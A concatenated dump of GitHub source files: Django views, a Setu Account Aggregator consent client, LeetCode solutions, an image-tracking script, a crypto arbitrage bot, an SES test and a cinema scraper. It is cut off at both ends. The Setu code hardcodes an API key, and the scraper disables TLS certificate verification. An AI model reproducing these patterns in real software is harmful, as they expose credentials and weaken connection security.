","repo_name":"dadangewp/misogyny-project","sub_path":"IberEval_Misogyny-Detection-LinearSVC/misogyny_TaskA.py","file_name":"misogyny_TaskA.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18523130874","text":"from django.shortcuts import render, redirect\nfrom .forms import RegisterForm, LoginForm\nfrom django.contrib.auth import login\nfrom django.contrib.auth import logout\n\n\ndef user_login(request):\n if request.method == \"POST\":\n form = LoginForm(data=request.POST)\n if form.is_valid():\n login(request, form.user_cache)\n return redirect(\"blog:index\")\n else:\n form = LoginForm()\n return render(request, \"login_and_register/login.html\", {\"form\": form})\n\n\ndef user_register(request):\n if request.method == \"POST\":\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect(\"login_and_register:login\")\n\n # form.save()\n else:\n form = RegisterForm()\n\n return render(request, \"login_and_register/register.html\", {\"form\": form})\n\n\ndef user_logout(request):\n logout(request)\n return redirect(\"blog:index\")\n\n","repo_name":"radgra/django_blog","sub_path":"login_and_register/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21129810900","text":"arr = [1, 2, 3]\n\nN = 3#len arr\n\n#사용한 결과물을 담는 데이터\nsel = [0] * N#결과들이 저장될 리스트\ncheck = [0] * N#해당 원소를 이미 사용했는지 안 했는지에 대한 체크\n\ndef comb(idx):\n if idx == N:\n print(sel)\n return\n for i in range(idx, N):\n if not check[i]:\n check[i] = True\n sel[i] = arr[i]\n comb(i+1)\ncomb(0)\n","repo_name":"Gyujeong-Lee/Algorithm_study","sub_path":"0419/comb.py","file_name":"comb.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33924653329","text":"import json\nfrom django.shortcuts import render\nfrom requests.api import request\nfrom rest_framework import serializers\nfrom rest_framework.response import Response\nimport codecs\nimport requests\nimport jwt\nimport uuid\nfrom datetime import datetime\nimport time\nfrom django.views import View\nfrom rest_framework.serializers import Serializer\nfrom rest_framework.views import APIView\nimport requests\nimport logging\nimport base64\nfrom http.client import HTTPConnection # py3\nfrom .serializer import UserSerializer, TransactionSerializer, GoalSerializer\nfrom .models import User, Transaction, Goal\nfrom rest_framework.generics import CreateAPIView, ListAPIView, ListCreateAPIView, UpdateAPIView, DestroyAPIView, RetrieveUpdateAPIView\n\n\nclass createConsent(APIView):\n\n def post(self, request):\n mobileNumber = request.data.get(\"mobile\")\n body = createData(mobileNumber)\n privateKey = codecs.open(\n \"/home/radhika/hfi/prthvi/server/api/keys/private_key.pem\", encoding=\"utf-8\").read()\n detachedJWS = makeDetachedJWS(privateKey, body)\n url = \"https://aa-sandbox.setu.co/Consent\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"client_api_key\": \"bac41217-a584-4f79-bd79-5285adb61037\",\n \"x-jws-signature\": detachedJWS,\n }\n response = requests.post(url, headers=headers, json=body)\n response = response.json()\n resUrl = \"https://anumati.setu.co/\" + response[\"ConsentHandle\"] + \\\n \"?redirect_url=http://484c-103-250-137-194.ngrok.io/redirect/\"\n return Response(resUrl)\n\n\nclass consentNotification(APIView):\n def post(self, request):\n consentId = request.data.get(\n \"ConsentStatusNotification\").get(\"consentId\")\n consentStatus = request.data.get(\n \"ConsentStatusNotification\").get(\"consentStatus\")\n if consentStatus == \"ACTIVE\":\n fetchSignedConsent(consentId)\n dateNow = datetime\n res = {\n \"ver\": \"1.0\",\n \"timestamp\": dateNow.now().strftime(\"%Y-%m-%dT%H:%M:%S.000Z\"),\n \"txnid\": str(uuid.uuid4()),\n \"response\": \"OK\",\n }\n return Response(res)\n\n\ndef createData(mobileNumber):\n dateNow = datetime\n expiry = time.time()\n data = {\n \"ver\": \"1.0\",\n \"timestamp\": dateNow.now().strftime(\"%Y-%m-%dT%H:%M:%S.000Z\"),\n \"txnid\": str(uuid.uuid4()),\n \"ConsentDetail\": {\n \"consentStart\": dateNow.now().strftime(\"%Y-%m-%dT%H:%M:%S.000Z\"),\n \"consentExpiry\": \"2021-12-03T14:25:33.440Z\",\n \"consentMode\": \"VIEW\",\n \"fetchType\": \"ONETIME\",\n \"consentTypes\": [\"TRANSACTIONS\", \"PROFILE\", \"SUMMARY\"],\n \"fiTypes\": [\"DEPOSIT\", \"MUTUAL_FUNDS\"],\n \"DataConsumer\": {\"id\": \"1fbad2f2-ce8c-4127-b24b-df360f57b06c\"},\n \"Customer\": {\"id\": mobileNumber + \"@setu-aa\"},\n \"Purpose\": {\n \"code\": \"101\",\n \"refUri\": \"https://api.rebit.org.in/aa/purpose/101.xml\",\n \"text\": \"Wealth management service\",\n \"Category\": {\"type\": \"string\"},\n },\n \"FIDataRange\": {\n \"from\": \"2021-1-06T11:39:57.153Z\",\n \"to\": \"2021-06-30T14:25:33.440Z\",\n },\n \"DataLife\": {\"unit\": \"MONTH\", \"value\": 0},\n \"Frequency\": {\"unit\": \"MONTH\", \"value\": 100},\n \"DataFilter\": [\n {\n \"type\": \"TRANSACTIONAMOUNT\",\n \"operator\": \">=\",\n \"value\": \"0\",\n },\n ],\n },\n }\n return data\n\n\ndef makeDetachedJWS(privateKey, body):\n\n encoded = jwt.encode(body, privateKey, algorithm=\"RS256\")\n encoded = encoded.split(\".\")\n encoded[1] = \"\"\n return \".\".join(encoded)\n\n\ndef fetchSignedConsent(consentId):\n privateKey = codecs.open(\n \"/home/radhika/hfi/prthvi/server/api/keys/private_key.pem\", encoding=\"utf-8\").read()\n detachedJWS = makeDetachedJWS(privateKey, {\"Consent\": consentId})\n url = \"https://aa-sandbox.setu.co/Consent/\" + consentId\n headers = {\n \"Content-Type\": \"application/json\",\n \"client_api_key\": \"bac41217-a584-4f79-bd79-5285adb61037\",\n \"x-jws-signature\": detachedJWS,\n }\n response = requests.get(url, headers=headers)\n response = response.json()\n fiDataRequest(response[\"signedConsent\"], consentId)\n\n\ndef fiDataRequest(signedConsent, consentId):\n keys = generateKeyMaterial()\n requestBody = requestDataBody(\n signedConsent, consentId, keys[\"KeyMaterial\"])\n privateKey = codecs.open(\n \"/home/radhika/hfi/prthvi/server/api/keys/private_key.pem\", encoding=\"utf-8\").read()\n detachedJWS = makeDetachedJWS(privateKey, requestBody)\n url = \"https://aa-sandbox.setu.co/FI/request\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"client_api_key\": \"bac41217-a584-4f79-bd79-5285adb61037\",\n \"x-jws-signature\": detachedJWS,\n }\n data = requestBody\n response = requests.post(url, headers=headers, json=data)\n response = response.json()\n fiDataFetch(response[\"sessionId\"],\n keys[\"privateKey\"], keys[\"KeyMaterial\"])\n\n\ndef generateKeyMaterial():\n url = \"https://rahasya.setu.co/ecc/v1/generateKey\"\n response = requests.get(url)\n response = response.json()\n return response\n\n\ndef requestDataBody(signedConsent, consent_id, keys):\n dateNow = datetime\n data = {\n \"ver\": \"1.0\",\n \"timestamp\": dateNow.now().strftime(\"%Y-%m-%dT%H:%M:%S.000Z\"),\n \"txnid\": str(uuid.uuid4()),\n \"FIDataRange\": {\n \"from\": \"2021-1-06T11:39:57.153Z\",\n \"to\": \"2021-06-30T14:25:33.440Z\",\n },\n\n \"Consent\": {\n \"id\": consent_id,\n \"digitalSignature\": signedConsent.split(\".\")[2],\n },\n \"KeyMaterial\": keys,\n }\n return data\n\n\ndef fiDataFetch(session_id, encryption_privateKey, keyMaterial):\n privateKey = codecs.open(\n \"/home/radhika/hfi/prthvi/server/api/keys/private_key.pem\", encoding=\"utf-8\").read()\n detachedJWS = makeDetachedJWS(privateKey, {\"a\": \"b\"})\n url = \"https://aa-sandbox.setu.co/FI/fetch/\" + session_id\n headers = {\n \"Content-Type\": \"application/json\",\n \"client_api_key\": \"bac41217-a584-4f79-bd79-5285adb61037\",\n \"x-jws-signature\": detachedJWS,\n }\n response = requests.get(url, headers=headers)\n response = response.json()\n decryptData(response[\"FI\"], encryption_privateKey, keyMaterial)\n\n\ndef decryptData(fi, privateKey, keyMaterial):\n fi_data = fi[0]\n body = {\n \"base64Data\": fi_data[\"data\"][0][\"encryptedFI\"],\n \"base64RemoteNonce\": fi_data[\"KeyMaterial\"][\"Nonce\"],\n \"base64YourNonce\": keyMaterial[\"Nonce\"],\n \"ourPrivateKey\": privateKey,\n \"remoteKeyMaterial\": fi_data[\"KeyMaterial\"],\n }\n url = \"https://rahasya.setu.co/ecc/v1/decrypt\"\n data = body\n response = requests.post(url, json=data)\n response = response.json()\n base64Data = response[\"base64Data\"]\n b64_str = base64Data.encode('ascii')\n b64_bytes = base64.b64decode(b64_str)\n data = b64_bytes.decode('ascii')\n data = json.loads(data)\n\n print(\"LALALALlalalallALLA\")\n print(data)\n\n if User.objects.filter(accountNumber = data[\"account\"][\"maskedAccNumber\"]).exists():\n ###Update User###\n user = User.objects.get(accountNumber = data[\"account\"][\"maskedAccNumber\"])\n user.userName = data[\"account\"][\"profile\"][\"holders\"][\"holder\"][\"name\"]\n user.balance = data[\"account\"][\"summary\"][\"currentBalance\"]\n user.save()\n else:\n ###Create User###\n accountData = {\n \"accountNumber\": data[\"account\"][\"maskedAccNumber\"],\n \"userName\": data[\"account\"][\"profile\"][\"holders\"][\"holder\"][\"name\"],\n \"balance\": data[\"account\"][\"summary\"][\"currentBalance\"]\n }\n serializer = UserSerializer(data=accountData)\n if serializer.is_valid():\n serializer.save()\n \n for i in data[\"account\"][\"transactions\"][\"transaction\"]:\n \n if Transaction.objects.filter(accountNumber = data[\"account\"][\"maskedAccNumber\"]).exists():\n ###Update Transaction###\n txn = Transaction.objects.get(accountNumber = data[\"account\"][\"maskedAccNumber\"])\n txn.mode = i[\"mode\"]\n txn.type = i[\"type\"]\n txn.txnId = i[\"txnId\"]\n txn.amount = i[\"amount\"]\n txn.narration = i[\"narration\"]\n txn.valueDate = i[\"valueDate\"]\n txn.balance = i[\"currentBalance\"]\n txn.save()\n else:\n ###Create Transaction###\n transactionData = {\n \"accountNumber\": data[\"account\"][\"maskedAccNumber\"],\n \"mode\": i[\"mode\"],\n \"type\": i[\"type\"],\n \"txnId\": i[\"txnId\"],\n \"amount\": i[\"amount\"],\n \"narration\": i[\"narration\"],\n \"valueDate\": i[\"valueDate\"],\n \"balance\": i[\"currentBalance\"]\n }\n serializer = TransactionSerializer(data=transactionData)\n if serializer.is_valid():\n serializer.save()\n\nclass viewTxn(APIView):\n def get(self, request):\n queryset = Transaction.objects.all().values()\n array = []\n for i in queryset:\n if i[\"valueDate\"].split(\"-\")[1] == \"06\" and i[\"type\"] == \"DEBIT\":\n array.append(i)\n return Response(array)\n\n\nclass get1per(APIView):\n\n def get(self, request):\n txn = Transaction.objects.filter(\n valueDate=\"2021-06-08\").values(\"amount\")[0][\"amount\"]\n txn = txn/100\n return Response(txn)\n\n\nclass getGoal(ListAPIView):\n queryset = Goal.objects.all()\n serializer_class = GoalSerializer\n\nclass editGoal(APIView):\n def put(self,request):\n CauseType = request.data.get('causeType')\n DonationItem = request.data.get('donationItem')\n ItemQuantity = request.data.get('itemQuantity')\n ItemPrice = request.data.get('itemPrice')\n if Goal.objects.filter(donationItem = DonationItem).exists():\n ###Update Goal###\n goal = Goal.objects.get(donationItem = DonationItem)\n goal.causeType = CauseType\n goal.itemQuantity = ItemQuantity\n goal.itemPrice = ItemPrice\n goal.save()\n else:\n ###Create Goal###\n goalData = {\n \"causeType\": CauseType,\n \"donationItem\": DonationItem,\n \"itemQuantity\": ItemQuantity,\n \"itemPrice\": ItemPrice,\n }\n serializer = GoalSerializer(data=goalData)\n if serializer.is_valid():\n serializer.save()\n return Response()\n\nclass viewUserData(ListAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer","repo_name":"RadhikaSheth/Prthvi","sub_path":"server/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32579607594","text":"#\n# @lc app=leetcode.cn id=790 lang=python3\n#\n# [790] 多米诺和托米诺平铺\n#\n\n# @lc code=start\nclass Solution:\n def numTilings(self, n: int) -> int:\n MOD = 10 ** 9 + 7\n dp = [[0] * 4 for _ in range(n + 1)]\n dp[0][3] = 1\n for i in range(1, n + 1):\n dp[i][0] = dp[i - 1][3]\n dp[i][1] = (dp[i - 1][0] + dp[i - 1][2]) % MOD\n dp[i][2] = (dp[i - 1][0] + dp[i - 1][1]) % MOD\n dp[i][3] = (((dp[i - 1][0] + dp[i - 1][1]) % MOD + dp[i - 1][2]) % MOD + dp[i - 1][3]) % MOD\n return dp[n][3]\n# @lc code=end\n\n","repo_name":"Phil2ng/LeetCode","sub_path":"790.多米诺和托米诺平铺.py","file_name":"790.多米诺和托米诺平铺.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24011971044","text":"class Solution(object):\n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n \n if len(nums)==0:\n return 0\n else:\n start = 0\n end = len(nums)-1\n mid = (start+end)/2\n # print(start,mid,end)\n while (end-start)>2:\n print(nums[start],nums[mid],nums[end])\n if nums[mid]=target:\n return start\n elif nums[end]list:\n\n xmin,xmax,ymin,ymax,mat=self.mini_img(img)\n img=img[ymin:ymax,xmin:xmax]\n img1=img.copy()\n img1=cv.cvtColor(img,cv.COLOR_BGR2HSV)\n img1[mat!=255]=[0,0,0]\n # B,G,R=cv.split(img1)\n # #hhh=img.copy()\n # R[R!=0]=0\n # G[G!=0]=0\n # hhh=cv.merge([B,G,R])\n if see_make:\n cv.imshow('rrr',mat)\n cv.imshow('ooo',img)\n cv.imshow('ppp',img1)\n #cv.imshow('yyy',hhh)\n #cv.imshow('uuu',mmm)\n cv.waitKey(0) \n cv.destroyAllWindows()\n\n hist1 = cv.calcHist([img1],[0], None, [15], [1.0,255.0])\n #hist2 = cv.calcHist([img1],[1], None, [3], [1.0,255.0])\n hist3 = cv.calcHist([img1],[2], None, [5], [1.0,255.0])\n #print(hist6)\n\n hist1=hist1/np.sum(hist1)\n #hist2=hist2/np.sum(hist2)\n hist3=hist3/np.sum(hist3)\n hist=np.concatenate((hist1,hist3),axis=0)\n return hist,mat,(xmin,xmax,ymin,ymax)\n\ndef init_get_video(classname,video_name,num_of_photo,path,update_data=False):\n flag=0\n try:\n os.mkdir(os.path.join(path,video_name))\n except Exception as Error:\n print(Error)\n flag=1\n for i in classname:\n try:\n length=len(os.listdir(os.path.join(path,video_name,i)))\n except Exception as Error:\n flag=0\n break\n if length.2f}\".format(sum(fps)/len(fps)))\n return acc\n\n KKK=KNNClassifier(video_name,modelpath)\n test_path=os.path.join(modelpath,video_name+'_test')#\"./knn_classes/train_it2/\"\n acc=test(test_path,KKK)\n print(acc)\n\n","repo_name":"chenzhike110/Fast-tracking","sub_path":"ORBmin.py","file_name":"ORBmin.py","file_ext":"py","file_size_in_byte":10605,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"28655868508","text":"# -*- coding: utf-8 -*-\nimport telegram\nimport time\nimport sys\nimport config\nfrom exchage_api.bittrex import bittrex\nfrom exchage_api.poloniex import poloniex\nimport util\n\n# 변수선언\nmarketcurrency = config.markgetcurrency # 기준코인\n#altcurrency = config.altcurrency # 알트코인\naltcurrency = 'DGB' # 알트코인\nspread = 0.8 # 차이 0.8%\nbittrex_market = '{0}-{1}'.format(marketcurrency, altcurrency)\npoloniex_market = '{0}_{1}'.format(marketcurrency, altcurrency)\nis_marketcurrency_transfering = False\nis_altcurrency_transfering = False\nbittrex_api = config.bittrex_api\nbittrex_key = config.bittrex_key\npoloniex_api = config.poloniex_api\npoloniex_key = config.poloniex_key\nbittrex_marketcurrency_bal = 0\npoloniex_marketcurrency_bal = 0\nbittrex_altcurrency_bal = 0\npoloniex_altcurrency_bal = 0\nbittrex_marketcurrency_address = '1DAFcmkeQiMWdhAmwKBLmx9pUpM4yak4DC'\npoloniex_marketcurrency_address = '1J4LrydHhH356J1ykvbXVDsj4a2s2497PP'\nbittrex_altcurrency_address = 'DPCgJ15dvMSTVvSKUX1LU1s4RZs5Dk2T8H'\npoloniex_altcurrency_address = 'DBCLd1NZpKFjc8eo2RgyWL43a6zBkCqTLP'\ntelegram_token = config.telegram_token\ntelegram_chat_id = config.telegram_chat_id\nspread = 0.8 # %\nspread = spread / 100\nbot = telegram.Bot(token=telegram_token)\n# API 객채생성\nbitt = bittrex(bittrex_api, bittrex_key)\npolo = poloniex(poloniex_api, poloniex_key)\n\n\ndef send_message(msg=None):\n print(msg)\n #bot.sendMessage(chat_id=telegram_chat_id, text=msg)\n\n\ndef send_message_with_error(message=None):\n msg = f\"⚠️ Error - wait 10 min\\n{0}\".format(message)\n print(msg)\n bot.sendMessage(chat_id=telegram_chat_id, text=msg)\n\n\n# 잔고조정\ndef balancing():\n global bittrex_marketcurrency_bal\n global poloniex_marketcurrency_bal\n global bittrex_altcurrency_bal\n global poloniex_altcurrency_bal\n global is_marketcurrency_transfering\n global is_altcurrency_transfering\n\n # 이체 중 인지 판단\n # 송금하면 송금플래그를 true 로변경\n # 송금전의 잔액 기억하고 있다가 송금한 금액만큼(수수료 감안) 증가하면 이체완료로 간주한다\n\n is_marketcurrency_transfering = False\n if not is_marketcurrency_transfering:\n # Market Currency 잔고 조회\n try:\n bittrex_marketcurrency_bal = float(bitt.getbalance(marketcurrency)['Available'])\n except:\n print('bittrex get balance error-{0}'.format(bitt.getbalance(marketcurrency)['Available']))\n bittrex_marketcurrency_bal = 0\n try:\n poloniex_marketcurrency_bal = float(polo.returnBalances()[marketcurrency])\n except:\n print('poloniex get balance error-{0}'.format(polo.returnBalances()[marketcurrency]))\n poloniex_marketcurrency_bal = 0\n total_marketcurrency_bal = bittrex_marketcurrency_bal + poloniex_marketcurrency_bal\n print('bittrex : {0:8f}{1} / poloniex : {2:8f}{3}'.format(bittrex_marketcurrency_bal, marketcurrency, poloniex_marketcurrency_bal, marketcurrency))\n\n # Market Currency 잔고 조정\n if bittrex_marketcurrency_bal / total_marketcurrency_bal > 0.8:\n try:\n transfer_amount = bittrex_marketcurrency_bal - (total_marketcurrency_bal / 2)\n #bitt.withdraw(marketcurrency, transfer_amount, poloniex_marketcurrency_address)\n send_message('withdraw to Poloniex : {0:8f}{1}'.format(transfer_amount, marketcurrency))\n except:\n send_message_with_error('error')\n if poloniex_marketcurrency_bal / total_marketcurrency_bal > 0.8:\n try:\n transfer_amount = poloniex_marketcurrency_bal - (total_marketcurrency_bal / 2)\n #polo.withdraw(marketcurrency, transfer_amount, bittrex_marketcurrency_address)\n send_message('withdraw to Bittrex : {0:8f}{1}'.format(transfer_amount, marketcurrency))\n except:\n send_message_with_error('error')\n\n # Alt Currency 잔고 확인\n is_altcurrency_transfering = False\n if not is_altcurrency_transfering:\n try:\n bittrex_altcurrency_bal = float(bitt.getbalance(altcurrency)['Available'])\n except:\n bittrex_altcurrency_bal = 0\n try:\n poloniex_altcurrency_bal = float(polo.returnBalances()[altcurrency])\n except:\n poloniex_altcurrency_bal = 0\n total_altcurrency_bal = bittrex_altcurrency_bal + poloniex_altcurrency_bal\n print('bittrex : {0:8f}{1} / poloniex : {2:8f}{3} '.format(bittrex_altcurrency_bal, altcurrency, poloniex_altcurrency_bal, altcurrency))\n\n # Alt Currency 잔고 조정\n if bittrex_altcurrency_bal / total_altcurrency_bal > 0.8:\n try:\n transfer_amount = bittrex_altcurrency_bal - (total_altcurrency_bal / 2)\n #bitt.withdraw(altcurrency, transfer_amount, poloniex_altcurrency_address)\n send_message('withdraw to Poloniex : {0:8f}{1}'.format(transfer_amount, altcurrency))\n except:\n send_message_with_error('withdraw to Poloniex : {0:8f}{1}'.format(transfer_amount, altcurrency))\n if poloniex_altcurrency_bal / total_altcurrency_bal > 0.8:\n try:\n transfer_amount = poloniex_altcurrency_bal - (total_altcurrency_bal / 2)\n #polo.withdraw(altcurrency, transfer_amount, bittrex_altcurrency_address)\n send_message('withdraw to Bittrex : {0:8f}{1}'.format(transfer_amount, altcurrency))\n except:\n send_message_with_error('withdraw to Bittrex : {0:8f}{1}'.format(transfer_amount, altcurrency))\n\n\n# 오더북 조회\ndef getorderbook():\n # Bittrexx 오더북 조회\n #decimal.getcontext().prec = 8\n bittrex_orderbook = bitt.getorderbook(bittrex_market, 'both', 1)\n bittrex_buyorder = bittrex_orderbook['buy']\n bittrex_sellorder = bittrex_orderbook['sell']\n #print(bittrex_orderbook)\n poloniex_orderbook = polo.returnOrderBook(poloniex_market)\n poloniex_buyorder = poloniex_orderbook['bids']\n poloniex_sellorder = poloniex_orderbook['asks']\n #print(poloniex_orderbook)\n '''\n for order in bittrex_buyorder:\n print(float(order['Rate'])*1000) #내림차순\n print(\"------------------------------------------\")\n for order in poloniex_buyorder: #내림차순\n print(order[0])\n \n for order in bittrex_sellorder:\n\n print(round(decimal.Decimal(bittrex_sellorder[0]['Rate']), 8)) #오름차순\n #round(decimal.Decimal(order['Rate']), 8)\n #print(\"------------------------------------------\")\n for order in poloniex_sellorder: #오름차순\n print(decimal.Decimal(order[0]))\n \n print(util.toSatoshi(bittrex_sellorder[0]['Rate']), bittrex_sellorder[0]['Quantity'])\n print(util.toSatoshi(poloniex_buyorder[0][0]), poloniex_buyorder[0][1])\n print(util.toSatoshi(bittrex_sellorder[0]['Rate'] - float(poloniex_buyorder[0][0])))\n '''\n bittrex_current_sell = util.toSatoshi(bittrex_sellorder[0]['Rate'])\n bittrex_current_buy = util.toSatoshi(bittrex_buyorder[0]['Rate'])\n poloniex_current_sell = util.toSatoshi(poloniex_sellorder[0][0])\n poloniex_current_buy = util.toSatoshi(poloniex_buyorder[0][0])\n print('Bittrex buy:', bittrex_current_buy, marketcurrency, 'sell:', bittrex_current_sell, marketcurrency)\n print('Poloniex buy:', poloniex_current_buy, marketcurrency, 'sell:', poloniex_current_sell, marketcurrency)\n print('bitt:polo', 1 - bittrex_current_sell/poloniex_current_buy)\n print('polo:bitt', 1 - bittrex_current_sell / poloniex_current_buy)\n if poloniex_current_buy > bittrex_current_sell and 1 - bittrex_current_sell/poloniex_current_buy > spread:\n #print((1 - (bittrex_current_sell/poloniex_current_buy))*100, \"%\")\n print(u'💰 Difference : ', round((1 - (bittrex_current_sell / poloniex_current_buy)) * 100, 2), \"%\", ' / Buy at Bittrex!!')\n\n if bittrex_current_buy > poloniex_current_sell and 1 - poloniex_current_sell/bittrex_current_buy > spread:\n print(u'💰 Difference : ', round((1 - (poloniex_current_sell / bittrex_current_buy))*100, 2), \"%\", ' / Buy at Poloniex')\n\n##오더\n\n'''\nprint(polo.returnTicker())\n# Getting the BTC price for DGB\ncurrencysummary = bitt.getmarketsummary(market_bitt)\ncurrencyprice = currencysummary[0]['Last']\n#print ('The price for {0} is {1:.8f} {2}.'.format(currency, currencyprice, trade))\n\n# 전체 잔고조회\nbalances = bitt.getbalances()\nfor coin in balances:\n if coin['Balance'] == 0:\n continue\n print('{0} : {1:.8f}'.format(coin['Currency'], coin['Balance']))\n\n#dogebalance = bittApi.getbalance(currency)\n'''\n\nif __name__ == '__main__':\n #balancing()\n while True:\n try:\n getorderbook()\n time.sleep(10)\n except:\n print(\"⚠️ Bot paused during 1 min -\", sys.exc_info())\n time.sleep(60*1)\n print(\"🔆 Bot resumed\")\n","repo_name":"hobbit19/Arbitrage_BOT","sub_path":"trader.py","file_name":"trader.py","file_ext":"py","file_size_in_byte":8882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69922697691","text":"from unittest import mock\n\nimport botocore.session\nfrom botocore.stub import Stubber\nfrom django.conf import settings\n\nimport project.apps.api.tasks\nfrom project.apps.api.tasks import send_email\n\n\ndef test_send_email(monkeypatch):\n email = \"user@example.com\"\n\n monkeypatch.setattr(settings, \"AWS_SES_EMAIL_SOURCE\", email)\n monkeypatch.setattr(settings, \"AWS_SES_REGION\", \"default\")\n\n ses_client = botocore.session.get_session().create_client(\n \"ses\", region_name=settings.AWS_SES_REGION\n )\n stubber = Stubber(ses_client)\n\n def client_mock(a, **kwargs):\n return ses_client\n\n boto3_mock = mock.Mock()\n boto3_mock.client = client_mock\n monkeypatch.setattr(project.apps.api.tasks, \"boto3\", boto3_mock)\n\n expected_response = {\"MessageId\": \"12345\"}\n\n subject = \"Welcoming\"\n body = \"Hi There!\"\n\n expected_args = {\n \"Source\": email,\n \"Destination\": {\"ToAddresses\": (email,)},\n \"Message\": {\n \"Subject\": {\"Data\": subject},\n \"Body\": {\"Text\": {\"Data\": body}},\n },\n }\n\n stubber.add_response(\"send_email\", expected_response, expected_args)\n stubber.activate()\n\n send_email((email,), subject=subject, body=body)\n","repo_name":"libdx/treasury","sub_path":"project/tests/integration/test_api/test_send_email.py","file_name":"test_send_email.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74349044890","text":"import time\nimport requests\nimport json\nimport logging\nimport re\nimport urllib.parse\nfrom datetime import datetime\nfrom random import randint\nfrom typing import List, Optional\nimport aiohttp\nimport asyncio\nfrom bs4 import BeautifulSoup\nfrom requests_html import AsyncHTMLSession\nfrom datetime import date\n\nfrom cinemas.models import Cinema, ScraperTask, ShowtimeSeats\nfrom cinemas.models import Movie as DjangoMovie\nfrom common.models import Country\n\nsession = AsyncHTMLSession()\n\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(asctime)s [%(levelname)s] %(message)s\",\n handlers=[\n logging.FileHandler(\"./novocinemas.log\"),\n logging.StreamHandler()\n ]\n)\nMAIN_PAGE = \"https://reelcinemas.com/en-ae/\"\nTCPCONNECTOR_LIMIT = 50\nSESSION_TIMEOUT_SEC = 5200\n\nSLEEP_BEFORE_REQUESTS_SEC = 1\n# get movies for this day\nDAY = date.today().strftime('%Y-%m-%d')\n'''{\n movie : \n {mall_name : \n {\n exp : [1,2,3] - sold/empty\n }\n }\n}'''\nHEADERS = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\"\n}\n\n\nasync def post_request(session: aiohttp.ClientSession, url: str,\n params: dict = None,\n data: dict = None,\n json: dict = None) -> Optional[str]:\n for i in range(3):\n try:\n async with session.post(url, params=params, data=data, json=json, timeout=120) as resp:\n logging.debug(f\"Loading data from {url}, params - {params}, data - {data}, json - {json}\")\n if resp.ok:\n return await resp.text()\n else:\n logging.error(f\"Page failed to load. Url - {resp.url}. Status code - {resp.status}. Trying again\")\n await asyncio.sleep(randint(5, 60))\n except asyncio.TimeoutError:\n logging.error(f\"Timeout Error. Url - {url}. Trying again\")\n continue\n except Exception as e:\n await asyncio.sleep(randint(5, 60))\n logging.error(f\"Error - {e}. Url - {url}. Trying again\")\n continue\n return None\n\n\nasync def get_html(session: aiohttp.ClientSession, url: str, params: dict = None):\n if params is None:\n params = {}\n\n while True:\n async with session.get(url, params=params) as resp:\n logging.debug(f\"Loading page {url}, params - {params}\")\n try:\n if resp.ok:\n return await resp.text()\n else:\n logging.error(f\"Page failed to load. Url - {resp.url}. Status code - {resp.status}. Trying again\")\n await asyncio.sleep(randint(5,30))\n except Exception as e:\n print(\"Insdie get_html execption..\")\n\n\ndef get_asp_net_cookie():\n url = \"https://reelcinemas.com/en-ae/\"\n time.sleep(SLEEP_BEFORE_REQUESTS_SEC)\n response = requests.get(url, headers=HEADERS, verify=False)\n asp_net_cookie = response.cookies['ASP.NET_SessionId']\n return asp_net_cookie\n\n\ndef extract_url_parts(onclick): ##get the movie id and title\n pattern = r'MovieDetailsPage\\(\"(.*?)\",\"(.*?)\"\\)'\n match = re.search(pattern, onclick)\n if match:\n return match.group(1), match.group(2)\n return None, None\n\n\nasync def get_movies(session: aiohttp.ClientSession): ##get movie name and url\n url = \"https://reelcinemas.com/en-ae/\"\n time.sleep(SLEEP_BEFORE_REQUESTS_SEC)\n response = await get_html(session, url)\n # if response.status_code == 200:\n # Save the response content to a file\n # with open('/Users/n.purushottam.lagad/Downloads/reel.txt','wb') as file:\n # file.write(response.content)\n # print(f\"Downloaded the response content\")\n soup = BeautifulSoup(response, 'html.parser')\n movie_items = soup.find_all('div', {'class': 'movie-item'})\n movies = []\n for movie_item in movie_items:\n try:\n movie_title = movie_item['id']\n language = soup.find('div', class_='duration-language').find_all('span')[-1].get_text(strip=True)\n movie_id, title_dashed = extract_url_parts(\n str(movie_item)) ## movie_id = group(1) and title_dashed = group(2)\n movie_url = f\"https://reelcinemas.com/en-ae/movie-details/{movie_id}/{title_dashed}\" ##movie_id = HO00003413 & title_dashed = Fast-X-\n movies.append((movie_title, movie_url, movie_id, language))\n except:\n pass\n print(f\"movies_len : {len(movies)}\")\n return movies\n\n\ndef get_movie_session(asp_net_cookie, magic_string):\n url = \"https://reelcinemas.com/WebApi/api/UserAPI/CreateMovieCookie\"\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\",\n \"Content-Type\": \"application/json\",\n \"ASP.NET_SessionId\": asp_net_cookie\n }\n # time.sleep(SLEEP_BEFORE_REQUESTS_SEC)\n response = requests.post(url=url, headers=headers, data='\"' + magic_string + '\"', verify=False)\n movie_session = response.cookies['movieSession']\n return movie_session\n\n\ndef extract_num_empty(input_str):\n pattern = 